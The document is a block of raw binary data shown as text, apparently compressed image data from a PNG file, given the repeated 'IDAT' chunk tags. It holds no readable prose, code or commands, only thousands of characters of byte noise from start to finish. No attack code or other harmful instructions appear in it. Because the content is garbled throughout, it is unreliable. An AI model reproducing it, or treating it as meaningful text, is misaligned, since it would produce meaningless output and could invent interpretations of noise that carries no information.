ttg}l%f'c,^c,6~hZ#S9wl'A'ئ<w<'j0>3vtgqvxdKtZNjmZ"&DSh)حAP4g:"W첎c$0`O09kE,|d1Z_{~Zfփv? ~88N!S}ŭщټ'ѵśs*Ӭe)J
7{Vb<P)c`RCIol؝9b<G̨_.|unO	3$`VZhU<3qh^8x2V*k|'n^cLNtd>5$/ݗI<x-j=2ghp6O\׾*gj.¶Ix	y[rk01L,rmn[bbG!3wg#yygelV̋! t@&#0_"go~$[Nxb%Ԅʛ\3Ю>D,* t]ޓ|u3^(9Q=/7\8›os۷:/3~vQ]D'mKgmo/4<I)'9ΘWL=iQͼ~+N>Xz
.\əsY2]z1A6洓+  :s
p8wjү"T7:;ja!`M.˟D\r
<c/b㭶F
T*/&alFjbm~ɚ'Iij6r1б@%9zo:u]TB
b^GQe>\蔶3=K}ܦ; <g-.8揿{udDY?+nJ>3G>],eJ*&<&	2ƶy
y2\ѝ4OˌSk&'6@s/"lSKrfi<Gj]3aW2LC!`"gW|4hҤ.iiڤX])bmicgi" XdT}
<l/Y'hqS2X'Z_Q@4'{u0F{o9;1e*AşOxҘ=ScqجG69'V-rfKpCo}gcUZi}NW6<pяD<t]ǞoV(w͟yMNF]rmv<L`/Er	;)Dc1f;^Pw`}@4Y4SoIaiou,&#ϣ<~#n7ܳoE<b'Qi=
$01خ{]yOa
j(qԁowc?yN'|o)iz?#h(+=QL_Ǽ>mC_s~SdhA=|,m1p!~1zK_P|Nc,?/G9	;̳]8uvp][a![n8qH}C¸.Ug(Lvbn;c0#f-)ι	*a|h}ANw@'|eOÇ;Cl#WǏ>J/z񰳝Β+pwp\=2' o+2pKvD<p-3N+-{}N.K`|6,Yxv'MX|Ui&9n|LnVuM8ދG}[o>r׫&bG!st]6%!?o-	wEe{a^楟^r݃[
}/e qa<Ktg6O~uDthz-5,|NI /!'G~.}ܟ̛wtӸ%{+xP?!w΅gO8$	h-z83`rZ+1cY%W*ҿYnϙi
sٲN٩Azվx0'/'q&A5!=0JTcמoERw1359~@wack{$R8~LX^&X۫o!FɜQW:#zz>p|?\TŒ6#za@Y~⍁'{v-q
\A0c1<46>y(mc_y+!_}$f;InAUĐjrG5C"AA!$O\&ٍ1l%+\f1A’]?m-H0SncZ3b,(	h!R*I&'dǔ1jsgb9vIzht տXqOn{	x6ΎmsΔ4|VGVM?g44FǏ@Fxqv1ڜ~Z\&Xx-hmF
wr=ښɵ`1~C"l%4d0bKAh4D'jg[0
Ӥtc|.$N.ӓ;]RlRZ,1:Q
֒Od韨TǾWIN>4z9Jm>C79plfIOm"Ϛg^ҼŔy{~
MNWȅѶY6֛Fm`έΙŞ2iMT'5dJ}Oc1bfJ֎c^WM+C>97	؀娻i5y5i[DR>h+:|D˕-: ^5Skw6\&~_Ob0ﳪ+[}ݍOcӓ}ύ<Xڡ=ƕ~A~7?
:tx.r:<)U';l3]?у9#;UtQ=EOyn\ww;Wq?%!/0{UuFDk^2e5G
ig4/Sb>mpí~)LM Cu99#e-.nV?w-mp~˜dߟxKg~;ii*u0'0miqMOٺ7r7Uܳ5_:;np"Q/y%8-|g0Bͤ$ڿ=O;yC:!rm֭>8$&ItH9~^㙟̭0k5}ZΓz_Qla4!#_WL};I6߻֖x
hz=ݜ5g$p51ku|JNеU?_:dq]
pDF=!):ls֦+sJ,rKfn֡}*`佹ױoqXa0\"F)AC^H,sfqoj5s@ %5Y)cY&?s_e[L+3>KSMlmuf# fu"7	e.걡*G4xlqIT_m =}/+5SWYp-$տD2/K?XSh+x9rVݑ|b#NF'Z]~LN33;lrX{_s!Vp~0۸sL夶2ƕoMcxuAF~,Ey:IW9?pHH0
P?e~p^339LX`Y+=
$F+tje)%naSayǷ
42M	_sb8c'fh3A5+bפթ{~)>k8іc%H%Ϧ,\ph4v/tBGY%d;Yo&#bvŘ֯-){L̓v9`Q@|g%7UY+f	+z.hzw
0x~xx
~N~^o|Y_?߱="Ĕwu*7ړ_G7zOo5wAܡgk;w7W >R_9Z9:w$1ROu3CU,=oΌ_=g&,=<NPgmL򡓘bȟy>ya-|v݂v^9x"}znEL123
<w3|Fe3b2M?Zw	.[r򾡝wR0 Wbp?v߄=ڐ"_>1' o9w+1cq3g'?q@MNvcH{ڧw_̤|h\gz[ԫkJLH_ D/G]Sh^R&*GK5k04xܫYh%K\t{<R&m|e0C|e9Iz~ϟkxgϮ0)Θ֣LA'ÄH;aL5Q>?Ǣ`WW𵳬cHrk5My(f4$}m~;}]2y"|'l6fb	:|_ϏMh]NNr^jn̿[(pP$%$dS,9Kx́_>hAѲ[,#os:Bi1~;%ge8H MM==ܩDLuw`F{F0?ې"u݉[.TxFreR6שùMs(h+5lgsQ`VTss2	rȫ*Xw/J1s|6h@:n+bN#4l30c`ۮ?Yރpz8!Aןɕ%|g,:Sm9*i}ޭk=b;VQ+}e<?kCeJcpTQ|G߼7^_⧑Mx_cQ{p[~lY{,6ϹinàE:{]y}պڒտjcprrO4Wݩ<;״gRuε46ee=c%(gϸ
xT>3\nrrGP3kL^/ipj^NxӬOn=]{~5
;⚿}15x6`7)x,_o~@g'3_"x3:{?zZ}/S4wgc2H2?|{	fJR#qg#C3aW+kEr\grۆ&SDk$sσL(8trM#`V\6զ=ZO}/c	,R$I=	q/+g^M"PޜBJϲy&hl~zㆺ(LIja?
	q³ƛ;(4%;:WgTXWZH~\}/{79MVOR70qୁN8{a6pV{ʽ,韐iso}*^Dl.e}@`.{íս&(ȒscK}f"/<6̫J2~jCw>ȓ ߔ}i|_Qbn@Lo\V.Zplrxui6;03'<@I?ӷ7Ih]jW4~߈@:Yp>P̸Ha:"( cr)d~~:x/0`j2m2H}RrD̩m;":КAjyn@IDAT?2/j3ZpYq.9[L3?0mRyh{bFxL'9fuwQ9I`B&j+
5uja9/d);[d\ćec>נWyy/@=WM掦ؙ# g~)K
G}OqV+zwSd􈣏}Ew>o63Ӫ׀Q&ؓ7৾W֏c`e?ħOHB'Ɖ~#t5Kym|Vxe(G7''s-Dj%,5BX9Pۨ/K߆@r~0&l'k8GrB7>1'ԟopt}ІLX"b<}GJ$;xϲ6}fǎb_v죵T6	@+L}4<m>©al$Hp$'n!G0k6<lAUTF^{R{􆃴aW~  s~|٭)J# H$ulW?No~tqv~wyVkŶ_>y:m:7%3|܃9YO<˺/}qr_qCnۥy??})x53%2$E oDFV@XW{UUfFdd}>'}|n]OqǗ/wPfb?(Eñ3zshxSkC᳆CO~lu11u,wghnctlZhA
xl˥䈿 e䂟yoZLMXctx\^C\y7nmWv~4p r+ǩӿ]rM${[c!fׯYSxO\A$ŝi.<#)
*3)Osɐ=|	@~՟T?=%ڳȦW7Jr <*h_[ADwM=.<tظp0gr:-HM#x]ّakE9s=3#OAy\'@ϩ{Z",6.2#`]>vlW
}gꑜu;	Iun3.\4ߡh=_~Ewv
p8ݾtqŶ	wI
- -h}+x}DKʟߑ=gH^ٰF>9@߮C|9'pa$FH.BE
J=6Edze2Ξ(skuw\&pU,Txo9YXkaʆ9okWlS݂AGlEsks)釓g{ښƑds뒆֙smSs6㧖G7;YY	(eY~? \Γ>.SqiԦH*Ky6\Ѩ|2:?Ȍzs/DSkIL'}o;u"ʵq DAFj,Jh_#	0#:|uBrLs(j]_zX^0wqqu~8
ȆT5PQO?:_G	֤c"֚¬,_:$X0H,5E[XYUԙ\<}{25~(zT&&t={~|W{7Wq d'f^F0r.d|F	{{I̧u#yL	cv?O6	^f{_[—>׈-TE@?Sg_y:;/RV/O\ĺ^ҵ!	^ըĔu_T&Lmk.pwƱkm\j_VM^C?ČOQAIA;puV%Śz/֕%n!x/]%?sOdFO+Irb=&g9RR3{Hbp67$;K$%*wnۼZB;nK-qmdjGS$Fz[DF<3+tƘ{x)<rt-E&	{18U&?'UMc<|U.g?9'T|Ct$;fl.xISB!4z(ὣ=տ	#2JĮ4č)W]b+436fDf+6
Q5VgY7+ؒΟՖ2kl/A搃<>'u_qϟ1=|ĽɍNNd[_k>g4	[unf{zVBגHx~8$Z۪IB>~Xq|3"f7`v`#~%nt9xʟ_I?,:
$}ސu)YTs*n6LJr68m,}]n>-,	9ɫ};Bn3"ish䶞O\* `L>1ыQ8$d^z0fa8-F4a*=!Α~Np9ssa#a
~,]Ǭ]z-4
ÛC6[ZhG]8B:$Ο9rz
S`ĔN [^<FXkw~BOC/Oru&
XG<区\ۈ^|,O?GQfQnjN=% }lx9{F+㧞	$b>\O輡;u%,]72SU6s0c`(
˯}'?k,ya.rgO'7j->	>Bks6F>_U Cr䱖
Pd&ibCǤY8SA{dCP#SOϕLOl3nџ[Tqxja
pU{?}n=m2}׵7j.Éy"1_(ڊM=
%˜iu~l1a{&g)' ōx[czkXWחӈ 	c3Y>:x[km5ʿ28q}_Y==а?cgrv" /Aw#>LN?ëâbj\
Q'ά-sء)s}N)9a8lQ=Տ~BWuB2_#'K9F(=0_u:X?q;'QzI{/>-:FVULЃ>Dk?dT]̓+f=L%A$燥6Fm6^L(jjc>mG免U9٬IfŒOIhχ
'w+Ŏ9!QvIgG!=πԎ=ṰSt:+ '15s$_x<hXsl?5  :Gֹv^B;
yLy?3׺Y?'4n[PcQl^+ZX؟.]TSZ>=E3bOO{/.IЪ9glDBUiWŸqa-Ǹ/okpvl^3*ftjʺf^^:ہs~HP$›zk",o.f̄_>G}bސS^kq`ۺ;^;R{If"c8RȄG%A^$ſ=i>3%v׍rs_=|ʋǂ܌d|EX&Ψ9V/9S)&Vf/'k^ԓ`n{Сc|NK5E8QBkT5h$?#W0$kmI݁M4_ET6+ڏF*A:a}֟Vi1¬U?c׀ΓJ*Z'וO4Rk=&p}f1!mG3:/<MйxfLOy?iugUC	4\q+}߿>77c6ކ**UJ́__mw.wl7I+Ylxmp֏{؍vY@ݝ˘M$yEka@&P[U-R+Y- F<fx%d۟5䍔<|;Sy?f+mk[v#B01hmzμgٸk*u~p<NCs+ 5mVsw|Xnzu:>{_gƹW'3x@8ʧ?6"`G;qZ:o*v}߬~S=tkI<~`R4ќ2V-d:#,5X/
VDֿ߱H笟Yu5|OR}#l
L?
'wuaуW
_pW΃HoT1=/pEUCVދ?Wk?KqI7W￈m9Eq?gz3<!uߑ`>>Llwkjf~SM@3n)`[_C'ay.U<%>lϫg~r3>j>;撧O>G^sGk
ZOY7@>E=8Ջyʼn?~ɐk
Lgz7䴈6u1l>ԋѽ{-GCͰ'?S7ΕN5)ak>=5b[ױ4~U*?̯?WPE2i%RdyZEb4}szr-=u.#U_^$B9{/

<^#pS (74EFD	91ucMX4?Ԋ2Rݹ8p5	}SN-`[crpN<6Nۑ1$:y60#G/"&/@6O?3XA'}ՙuMJjr[&۴깍"Ƙ\A7뀒0,^d
uR&WHwNgaMߘFguYT%&6)\~"۳W,LsÕO>
mYD1LMCl7{& uc~&S?RF:W>lR4‡kaOjτB͞\
~nkg\TB?ҏ+zi-J3'jL͍x?|'c33	p;&;K	~fe4?4~|&%ٻ#>B,jpZ#sc!0Uj8\ɽCke(Y:sȿ-nopE76gho: Rݦ	9(7pLBdK&LY;?x[]s7i\rWMėO9DO\b4&UÇ!j]⦸_9?I^0(L?/yET8T{9&6NyX^N~KdIǴ-7^GgMy"ún&jF5&R?r.Ip{pQoR/\|qN~dxy6_@HT.b{ixb?Sgfu~|P\]ɯ`HhnEyFG0=gRj
OyrT+7:¨gv!hhk/)v۫"n[aE%r*9.sSdމbzC9pom\5X5dv{θ'^pO
<џDܻ>Gq/Ejd~*S>!jX#RɷaS'`4ODgMN!FjяUt>)qrOÃ"m@eq#y8aIMd"Bv_,f3{
sǽ[]:[pE3w=	G+<4nj=kgXǍ&'FsJf1vuņA#:kS135Tަ"sE:fu	zLZLa3Ƈ{vj0਋Xy=FZ?}T=NzĊDӞ	_>E(ƒw±Kb^)2ZzKSm2Q$;9ni
p.kn]U!sv/y1$O8RAsZBBx'6
zC%hS'K~s'_^#q$љwƴuv6ծQQ`EΟXMьM٪ue$ǘFL꡶hyqwͯxiAbֈ|O.'dčVG`ߝ?$xOKo1#cI zzNz-Ͻdp،/Dŗ7i~Se<Exj<5x]/pD3zLG\ǁ9o܇0]Gfk$\9ȇvLÅCx~ iTPo/Oϋ<5MLc) 9
(N#Wfb;n?pw̲79W2ý9Dx{ꗽS@@ZR?rmoN?@*:.7{ޚGC	\qhlM¾pޮdיD>>kü2oF8L^Fԟa%uƣ}ϴv|[r7x|x/wNu>g=λЏ\Z$`\NFS0Kva;-1f|\h ^hme65p)6{Ƒd8֩9(9en/џC?b~rpk,-璚G?\[le#~ֳ0õFNi,
\|v=~&
=?k\N	<X3]سv,܎=(,lϴ擦}gB/asSAkcK\&#5]q-&kV[qJk	J4->6>ZE>z2T?:_
١sq$\S
qjn'<ңd6y|8W׿"b͏~:5&Ţf\Towf>09x!V9p9'bͯ.b4ӓ(tZs}~helyhֵ-z۞ˣӋ?aN&6
Pq巉P]h7x,L4F-oٷ6}A{K?)޿ѾZk>q8})ׅ{o;%FsX@[fK.Y\[?3Ȫ٘-L\j/&M)-R?kўWpYhfFh{Ru?1$qYOĕ'2sܱTnv7"S..>ްV&i.IQ<M|]Lyi	>g~03&)U	14	g~1fǒꎊJ,%ZeY[OoguQB}"smhjڈ.6xd>FWZީpѼ>)IP&Hk,<
^.jLZ?6D|U#j6Şuth|&=~&6*p0&+B+3֞zOn{sjVKI=-x:0Y_>ttP=Jw_*ȑc_x5
y=<͇[u_|/-,3ʴ揂t{Io.[r:m߶뿱^7|JGl[nLAcSzmHߒ#v.ZLcQ{d]?;Y$kNY+2+kL]86΃qy5=m'A.ʓCKtC2]3!c{-즸m]3k?/W3\MD(d
liC.k6֧LQ<ez+ca}y?
S[>?n`DƝs3GÅdhOB'!}
f??&ly>ӓa,Z~UH۬gqΥ!u_
2OUJ֧I_>ɕ}lSl1C<<O-)Oxb^+/o*uObH!VRi˦);FA?˃>wW~VXY
|]7Dbl/NBVS4^n;kfF2?ܯsk8p6FlE~mo'Ϋ;Ek~E:mcuP?:7f{."|hnŌ.\Ct콀zu\i3o
m<&3; hMg*L-_JƼdXEwԯm4镍&'q<Y&V]9	Q5k\#Fo0WIBQY& e;'?9.[w|&yOx?"ȴ7֐uӶ_'ԫg3RaT O_]CcajENy?q%/o~+2(2YI17j1n^,rx/b^V}gO‚~`f߶1NG"ff._8*}NؽwVUyg9ؗ1'sMtZ'Qv5;
n!{E`
)u1uV?A9~cGik]MuB	AjPDxS\ls+>3z+5+~(z^+׃];4ogx{K=Wky,Ƙ

3Dƛi$QIT9#t~gW+`*Ҕ>z?FLC~Yy.e_Zgǔn"قZuA[{SX|Myu?$k-ׯ17۫k̽o17[lۃ
SmI$[Nlt~a굋B[3>+5ܹE|xj{Rμo
>)J]^6r|DMzssp08h0uΟ_w5dŵg퐔&'w4}ƛ rWp^zt̐f|l
z81NDl̟z~?Ds_1ϮΧIa9*.Й\CpY#sr/Uq>ryN֌Ԟ5y2^O(&w>|}hrq$o?|=%3e{J_c[?oWB׫T9{Ÿ)S
/BL/g&M_1SZӽ|11a?>KR Qpf"ƴ?>SqnoJpơg\Ҝ}6 9~B;b.s;g{17o:75C8z6J<ۡX_??oxdкܧξJphf=*OP.ᩣ(2rj}(c	;ԏ+~z&8uz+\C 7|00Pvsj$^=uѡӸǘ3F1{`=?	AeBlw,YFpI_>|
g_g(gSocYS7܇x0pؾtQJp/iJ9V vbHzMF4
#rNf*4d꺴
]\0|&i
&@=z)vi+pO!ͫKA{ɾAZ=u-eԠjs0?C\Hq|H
w7({8&US
1	pkСDY%w5&73"G_S02?isM
ixʓx
~4h42+M,pom=0laxbnK!<{wVǚy7YoKV=4ɯͧӇFpho2]x1`qh%bfb3,5;r~rT
vi6BvRN~`N&SSbzVK֞BW;x`0y_;59&Mhu5G#7>.sz퐱kJBps~ck`v~AVr̩1D'a+ <w?sP?Q+y/
A.I.l`
I_©Y\gO'9M7p|ظlgfzşR'.e6?u~7}B}LlSC4+4'q=r^ [W8&Bb-8&W/֖l'{ĐQƬksG&ڛ6䮯˫Oof1s_Eu{ٿX'@D<9Ϭ	!œ{WԉנO׋l9`xܳp<&cr0\jn~ Gq=?
<)]?Ÿ<_qzz}.9Q

2A^5Nٰ;saہ х;_n#s#)a3
C>aukahJ]N:IзsxI8`>>l/;‘9xЂi&f",zD֘=7}{t~vz~WZd`ҋr>=5&֣6._ssoRyHJMZ\m:{>6w,Ͷ;qMNvF&5wk`5!{bLfӜ8㯿ٷ~J5f/>Tj'cB)u緯JثH3c's7VҜ.@4){'&t2W7\eNNOMjb_-BJ<?2ڬw=Ctɀ62BXB1{mǹ@hR'Z
;b#XDY͂NplslMZD	LR>c/CҶ~thJ'-1^R71yqn&7]RedJ#c.Y4hӠ#pw{kS8gOuX?Ɨ5B<[_W?5ɟWq΍~0=va]C1ky6	gK<?_!9O/x`ψ6V[d_yo;\
AxL(s",öw}3%wG-dKi"R/za]ܮywh/6t_0&{t'?έ2^k)vc%0A2SS{ald:Sgκ1'rM k~[8L?l[	be`Ġ@h~~:|^k7V=MzT*25`#a=<$؍'NYp+2;s7诗! A6Mȿm=	& CQw9t<߉%tmЧF]i,q]g>嚧U?"
ӷE_vz96>h62sglkh_?|{g,=6\~⧍si鶻|ĉqԼ#Z@l^Nm|{n:\Zo/m<ŃB
's>z
"ZA??pk4,c4GgD'6
1-̓.y>g]xMp'7~|"ԹB;;e}ϚƘy#FoB8cűOƣ?JOs
daX{D>.X>
A)k}OIy]6ftxƭ;v|Lgו>7uԙHoy3|
%BR`pu_]6?u"׮ϳbY2`oZkvZb	>͐f6gw3s'@c]΁0?oTA0OA~~f+r(違X`Vt>"Si҄]ܥcX;|+z;[?؞uRJCt|p/|"fIFc7/otAk?/qLIt!󧚥ɏ$GLIE:⽟0+V1Xo~oyդz6,&hirK1@pMgmu*.郟LxF#j뀲B42QQΣgVğiD99W"䬬ڌ8YsRƠ+ʯEusSg>f^UcicŶ2p1O:3s0>ǒBDf͞[!;{4t圹0GŘΟCݞ'6cz괃{orWbH#I8^k䬉 (2G}7
=pқ=4P}7~l|$zΫ $`pja6%,'0yaVoܿPN#SWQ[L;'U
 Xީ.!%}c
PfR%x`ֱ?n[^/>?{}c 5s"LKL6kXԇW33\	s(]9x_1oӿ,??0^y^-u3(Gdް-ޑp1N_䟸	9PVV,xW2+4rȢ32/Vk4آpW29|NS'm+pִ zQ1JdRFMl'c/p]4Ye0/ZcszrFW]9=j瞰ѿu/ʩׁiݲ{M!МZ9GN&C낳#	e}"o^Ǟ4ie`Э{//w\׹Øn4FНIJMc:VɅq.4Kk{wwG~7AKu~↢q??Fȓ1汗,C,c6g}h+k[!a9/W?
>ZÑKGW1=r7:}%}GLSe#PF4O@WU,~`
QQZ[w;F5퓋S~lVo]	"ao՘/FX1wjϚxkGW.?kˌsnfxѹ秫Nsnށ/70{2 Qߖa%%ۀWg[ooKݍm&97ceLu;\Ϋ΄XUoz7b{NÊ>3H_`zEg<196~@5Y{qhSBX^-'}Yǜ#?%jI	nFeM6byB,"4v%wfd($/丬^-xgc0H<xVcjN$ȋS<F
;y@YƌLTh|}535)(y|´7R9dw@v15vز8La:0&ל)tAu9_2?9N;y&z@ed)y;ϲ5uV~a{~+?Y'o~N7nk cLOwך؎Xs~tu7Njm$b\18.dд	+L/y	=6`Q[&\8Ck8g9nDiӛ3BO#,j
>B'/sDk(EXɎ_a8k2J;̥OO);V6A>gKF:t.@>}_wllT+X\}9_Ȝt{ܑj.&<lZ3 ˛&Lh$iUY1&΍5:d:1Qxgܚݟ`EQGSiDy?&CA\xeO]Ϛر6xOy3nasV,own|rRGLo*lk#ZޯL/y͉(NOq	j`r-o	NLNOhs*o`!FkV֞;mNβB@v\a:[@8OW[A眂G˚x]Ff86.{,&mZo@bzag6eax_kSCq{<PHH2^'?֯г+?A4fml5aΕuO,M{xp(l<VC8-r0ZX2N^"`솘Vk>)]xŨ*u;aء
AY
7Ω6,=ϠYbӽ[Y{8wr;\1L[0z _ShalqĐ5~l\9g>߾黖	L'	:}1]kEJ}rC^#L;xsVg~Hs=BEp	$/ix]}u3&O>6rh.sצavh
q8gYv\]r=Hz`Gk9~_~"W*+):'K,Sk"L?ƙa،/&`rޫgD1=!3b{-
HMC(cFg4gu눀AWtXX
&ǟʼz);;q@IDATĐUX@"˳N$5Z-E5c&K<˚M
$47Fs_b@==l@aQDH+8Log`-X{-kK!tt8_L&<">TXNDg\`qu/6MoUKSfO<k[uF! 6뒚Mjr9
0D;~*c.;wyvN'wyg)Br;+믬J }k|BBc?Kg[Ƶ;Ͳ6;~\JmX9qſe[#ܡsPⶖ2?SINZ3vαR\ޙaf*nqS̜6^BrȘ|,ea
Zh##D&gw_Ze~)NgKu&t~lcNvq_)<w*ķo;]X}a/SƲ3	q%WO֗{卾[c:pٴics<
G|A̓`вUin>'`!1h?ڈ޻[<|/@Ӿ4?;OBjZshX9F40qe}uWc&Ο>qzݼf.Xs\}E}aGqc!"C}y~
36X36:cH(D>{s0>{0X_}_Cfyo?T}'31Gm)C+2S_v%|"tߑ$WͻvXꇅLҒd)4FӦ8%̪JׅCjl"E,ifOu}+Kc86F@Evgrpu>/IP;sQ#"35;Izn?F˾>t'2^sO"ˆ{rR#.%]_Bp7<!ٺ11g(f=>B{Ko-~׹A S6U{a`~:ι_}?}~ѿ/r>Ft?Xq	?vR	l&i4zvy]T)#<Or$\:\Ќ6hA}s%e7.[I{VSPnkƮu1$N9oxpN5d4)oY&7˜I*jeE5Zg@[nq_kJD
"x	@kёTG+ooke>Dm#Y?[@8u.3s隣gCl79*ΩR!)K~￈Lz}O
suՉs`L?	lp1Mqx4{XP/bpf<
9pYlsyKL.jM}=hojz'y.$Fd8'[4Ċx5%?BHcyՄg0YXrn+i2͵	g3je
⧧ӓ<d؂y{AW=;)p6i#޿U~)Ķg~cw5CT^ޅQtNm~m]u]le\/Gzֳvr(-3W2ëa
Fftn	-ZTFЌ7\>[C"DžR)5gmpcD;5߶~7})%x wq<r~a=*gQ6jmJcpv.g|v.'}2{I4MvLNc<%嚠'ӓvk_32.8%XxvĶ`q{ՔKh}\0|
v8YKdjmU؟Zٞq1ڴ4I?oOEx"YO;D{	x'bh
)T\PZs=pk-J5=f9|"[3]}6#n/}zѷ{N 7z'PJy Qzwj&e'g& CsP<Ad?9gII|zQ,"kMy蚚y[k:<_u3!{>@57V)D;&z39sB8{͏Á<sӈ&Eď
Ml5~b$Xɟۿ7?7O;UlU8yZɗ[jTv\p2%u@SQW_8-A똈YK],hɤ]A\7PTh8K;|F8MݠS6স\\!iXwvE*WAex8Vg,'<[i6mBD1?a
6Y`Ixxw !d>6>{YMwm*$2u)0Ua=z*͟3\y5
FbUX//'dc"*ߺ&w	[2&}zZƬ4^r=\b5"`+.Z㠵r8	B5OKƐos9vOUƓLq>I5#{7qCPfruε>7py026`럵)߮ۡ5bq5P
<ٝQ$Mc/`_z?5?=y~nT).<}YwH]¹LmPrjؾ8hL^N|]v<.rNԡ=?0FhPUv8d_H&	3?K?]сWl/`s?cO~YM5*R;a?meOۆjjqUۊ+ǖď+m/VxJn? O݇
q~:xmQ|1]>
l6!g|f"{7,Y:̯l|ߠ+ 9afl5_뷺WU.QQv7ff֡=RR#gpHa<W[s~7~sNsz;O)aE6:;KMO?&sHYGG|=|{YGY&om<wy2s~
~AJ{'>@BC٬>/
zF??=۝n34^z'#q/opev]`'
:dzU]Wp!>΀s~VBx|Lt։r?+gDvRJA\#:&xN
jZ'b[+<1@9|&u4vTLŭWiSw_#ٰ7Vf8cb&ϗoh
=Ƨ/wշo.Z~r9ڝp}SwNGj+)ٚ\
EpxΆ{4i.l.4Ǽ4U֡5N\W}z8	*]mG 1ĜvjSņWad\--Fa^IBj1])ڇ3C<Ʌ)2Vk(αM=8OKZOO:vpȪyĹ
BƸhM^YX]	;vAZp
fx(';"3xoR%j.Op
e6!g^f!Ő/vR&b|<Bz3ch&wb?1DC\pf ̼h^U5oϼ=-6kh,&
v\C::N5Xw =8jʜZuo&blsQ+1ˏ3Q6x"cCW,J~fgf&hIHUE/ʈ֖FTK%jsTZ[s+zI`^c.Ckh,_pVɿcE
l}a8i'*]#LLY'x18={GAYrIQk|$8D/`~[X4"=|a&&g̮GÞaW"/[ac>|3zsxbqgUmMN?^𵱆>e[V鉉yA]yjr~7WqqLbׅ?`!ۘ+?_#`V%kؔEMm0(#{bv]M=%g->QZZOio6/DE$߭{9R!p}ZHK.,Tfw'c=>e}	"^ɯhЅWG\'1JM	!qPS#zMKӃQtCK`?UH{5IмvzFbC
h#ܾA6Z,ϟ̬A+	Ȝ
*xO
^[j16%[c1~.LRᖯ=t]᯹za%׈t5ŭP:!ш!Дi538Gk||ךvPYd~e>~13P|R:j?$sF{L=+hzvp;'9'3Ak0yk??7쁦؆Μ8_3cmJ{3=x7ND9	¡[Ukc<Ɠ+	:~-	
>!7~㘽!T[gu~^ׂO ǔ	ю ʵ5י#/& K3I:')u[h߁ z׌6c9x;MH^XO,G{=~6ܲHq[`;=}#N~p;-dѠh4&qĿW0_ЁEB(T+=a
Ƕ~/.u7;511 ^56~OßUqb7h,4_Ɠ/_ЙOИa;"#֑`
Z	{f&U_RwVݕvi/jbr+#
dz[b	qb](ng'O
':dj7U)"B'\[?<ki]?apw5?ʵqz8ypY	!"E]w㏠zkqqAzt)O)VY?=۰E~vi@ISoSɮP7ks'ɑuu{a|2JoN/$=asfrVkDI<r+?i틍YA=B!%P'?9̺rl&>8sYT?!z|v-T9OU՟ldJD[NկD±4OLFڻ-{*՝9߾{*
~%`Җ湐N?I|cGW<6`bָ߿Pn~Wxĭq/:gfr'/;GF7:X@j[<nm's諸Ώ+xrWjlk<s~WmcGOe?ڷ6iQX,y6:fr,c^J^iW8bx}(=5¡L'=7qtOG@[1T<Lp~9	ulwƛǽOs\lcD's+H~bnL&|*aYdquҧfma
}O<NYqDi>{^%ڑf6|N3)l_3d=~`bN9<m^>O)ތ"}&N[67|rmu@I[}-2_v
q7攳3;?8mt/q0A4*NuY=D@νq$eϭp=Xl {cEO&<vd&m;Rw/^QsS-kF]Զ'm0/0kL[D8bb=VPâ뻃eľ>T_=p^&u/yôі=Wrw9]RKBǻF8}4گw
9C[)c)Aq4sKT<coukAwluv(,x9YsV2{1cKMLrϏ%J+b?ڗ
(d~O]&X^,SV_o`ԎD:ndxZyݤׂ9t|;X*{ftډqܐgb.@ڿJBž2`{e7QT??O@OW>~<˶-ԎoZqK>rpgjYh扚0q0S`kn
LدL#Vx@Hy)'H9۞D]e/&z'sZ+͞lrIK_ղ^'N>>QS~_4~itb,b-ʭ>2c`=vgrU7xIPO&yj}}?*퉊%O\0d<}2>q_e"KD3zNm&y9~4FHqU_J9לEwJn]pI;c]3B:I+Dim9tAN-93lfgDkY[<:SO"A`Bhf!#~Z6yE6O~ sMbmɧ~_xgW/1s-1ϚMv`$'Il#ru9<UV?5!A	YAao2)8>: 14;9MXW%8se6t)/*#'qw<58"]v.*3'ӔF}</V]#vDfSMdkÌWk83Zfb3dm~3,\{L=K9yNMXz?x0s.NsŬ~#J/#ޖ4*	E|`M0`Z :*`j!d~;y\2槶O"''bx6Iꚴ_/*^d$~	gxOz5s9^WE4+')KjB6q
7o6`!0_fjcdsOdع^i~?$;z}Zjk-"EjǕ'	k3i6Ck:7n^F!%%gm,B,}#K7d{GBJD6EB)Odf&WM]8:{&[PSdK_"5>-KQg"']3@4pc}\eRcWyM-?	&yxx4$  LK]'?6h/:beYCO%C_tO;&zn|lniKdI?zO~eؚbr cou
>حqeN.mF_4f[I>LbZL9"˜lɹhliD&mIovUWn!=zY"WXw~]N0xYHAn]'EE
̱\?O
VRxZ'z/k-.U(|mWhANUm*oYC8vG4@
z_za|NeZ|8&׌^xS[5O ÅP`0uQ/U
?hHϕ5]v4-968o.ht޲` 9?
FYo'M~֟N5iR8c;wL,뿍7BМu~*%𼐪]#{pOtmp2Y?g~dN62n;%IrTU|ԻP|UAH"@]QZyZ{w3Cğճ*'KVvW5s9{@EH|.ᗏӈb$YƯ(?kׯ0/#|6,ig;kkxW(V!3?>rPQM +c'lF^~2fw_[\=u>rdG]r`NXƑes+R,ⷽЌ)_J&>BKv5KS f̺w?G^336aZOu/^,e価;_8bίMk
ɿ[	5Iz_朂ߝs.t__ʷ!55:x6P3¸xV.6n>OV|#ZZoNH%p*_Si(1P"f,	lTݳ܋x{D
߰ܩ%Yo!A6Smw.4lb?uy|8-m9ͣq/}Ӳ5	OCDZ{4ngFbff͡R^pJ-=zg̝&/x"ӑg:|>~j;gڿ@jǴú't
g̳&+6	?رaУ<A]LGXV=Wz/3Od.nXw}4<Ŀ#4;ˑ\jWE|PI6ysrl&>Kg倹W}x6}/kJ;K?jmǖBX6I_dt6C_P	l=.+|j*b-Yn\LC[{!xڵ_B~\bʚHϠ:tϸ}
|u~nlWs9yP<w+˿y'BhƬa7+fߙPw	*Z,qw$zp9s~C67t,0Föl<9Xںv]=^CGxmHڶkM_ȿR$_k\l?ڿH4ܵ-h.6I(꾋%К^&~IIoIWH쟽
vFvݏ(_x"g2m? p-yZ9=GL-}/a"j;s}z,23^oH?}/
ߛẃO9EEVs8x4#ӯ;gOzнNmoϡFܥK6c&dחWn<S9V_TεǾ}Q)~OGԽ,>/ey8ׇx]M܉il[{bm-o+赴#Zk}0g|7~,@~zҾs"'%bXԨtӒI@z5wg۞;/U;L|kiZ܏eS_`{W?_[;~03fyYH-{d<{ø#և!NJ5y
y7S!FE)ik6T.[ߪf(ѳ.kBH%p\2~EVȜmDآK'{a#B
q,(%v`~qFÅ)+#ɩ.{!O5~g~Z?Ȍ9F7iw̿)<C {E%>F%AN
Iy ޿9'BqJ^9AիJ#?p0qy8zY$~|`_>dyRvɃ<^:9rD^R@?6>%5}q
